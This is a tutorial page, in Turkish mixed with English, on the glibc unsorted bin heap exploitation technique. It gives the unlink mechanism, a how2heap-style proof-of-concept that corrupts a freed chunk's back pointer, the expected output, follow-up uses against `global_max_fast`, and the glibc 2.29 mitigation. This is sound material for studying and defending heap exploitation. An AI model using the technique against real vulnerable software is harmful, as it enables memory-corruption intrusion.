unsorted bin attack¶
Freed bir unsorted-bin chunk'ının
bk'sini overwrite et, böylece glibc'nin_int_malloc'u unsorted-bin list head'ini (birmain_arenaadresi) attacker'ın seçtiği bir konuma yazar.
Mechanism¶
Unsorted bin, head'i main_arena içinde yaşayan circular bir doubly-linked list'tir.
_int_malloc bin'i dolaştığında, son chunk victim'i arkadan unlink ederek kaldırır:
/* glibc _int_malloc, unsorted bin loop (simplified) */
victim = unsorted_chunks(av)->bk;
bck = victim->bk;
...
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av); /* <-- the write */
O son satır, bck->fd'ye &unsorted_chunks(av)'yi — main_arena'ya geri işaret eden bir adres
(bir libc adresi) — yazar. Bir attacker victim->bk'yi kontrol ederse, bck'yi kontrol eder ve
dolayısıyla o libc adresinin nereye yazıldığını kontrol eder. fd, bir malloc_chunk'ın ilk
field'ı olduğu için, bck->fd'ye yazmak bck + 0'a yazmak demektir; write'ı target'a indirmek
için victim->bk = target - 16 ayarla (bk field'ı chunk'ın 0x18 offset'inde oturur).
Note
Bu kısıtlı bir write'tır: yazılan değer, attacker'ın seçtiği bir değer değil, unsorted-bin
head adresinin ne olduğu (bir main_arena pointer'ı) ne ise odur. Klasik olarak
global_max_fast'ı overwrite etmek için kullanılır, böylece neredeyse her size fastbin
olarak nitelenir ve takip eden bir fastbin attack'ının kilidini açar, ya da bir loop-bound /
flag word'ünü büyük bir değere ayarlamak için.
Walkthrough¶
Kanonik how2heap biçimi (glibc < 2.29; 2.29'da eklenen unsorted-bin integrity check'i —
bck->fd != victim — naive versiyonu öldürür):
unsigned long target = 0; /* want this to become a libc addr */
unsigned long *p = malloc(0x410); /* large enough to skip tcache */
malloc(0x20); /* guard chunk: avoid top consolidation */
free(p); /* p goes to the unsorted bin */
/* vulnerability: overwrite p's bk */
p[1] = (unsigned long)(&target - 2); /* victim->bk = target - 16 */
malloc(0x410); /* triggers the unlink write */
/* now: target == <address inside main_arena> */
Beklenen çıktı (how2heap unsorted_bin_attack)
The target we want to overwrite is at 0x... and contains 0
Allocated the victim chunk at 0x...
Freed the victim chunk; bk now points into the unsorted bin head
Overwriting victim->bk with target-16
Requesting a new chunk triggers the unsorted-bin write
The target now contains 0x7f... (a main_arena / libc address)
Yazılan değerin bir libc pointer'ı olması, bir counter'ı "çok büyük" yapmaya yeter:
global_max_fast'ı overwrite etmek büyük free'leri fastbin free'leri olarak yeniden
sınıflandırır, ki bu da house-of-force tarzı veya fastbin-dup takiplerini mümkün kılar.
Mitigation¶
glibc 2.29, if (__glibc_unlikely (bck->fd != victim)) malloc_printerr
("malloc(): corrupted unsorted chunks"); ekledi — unlink artık write'ı gerçekleştirmeden önce
back pointer'ın tutarlı olduğunu doğrular ve single-pointer overwrite'ı kırar. Daha sonraki
çalışmalar (large-bin-attack, house-of-storm), aynı "bir list pointer'ını boz, böylece
insertion/unlinking senin yerine yazsın" fikrini o check'in ötesine genelleştirir.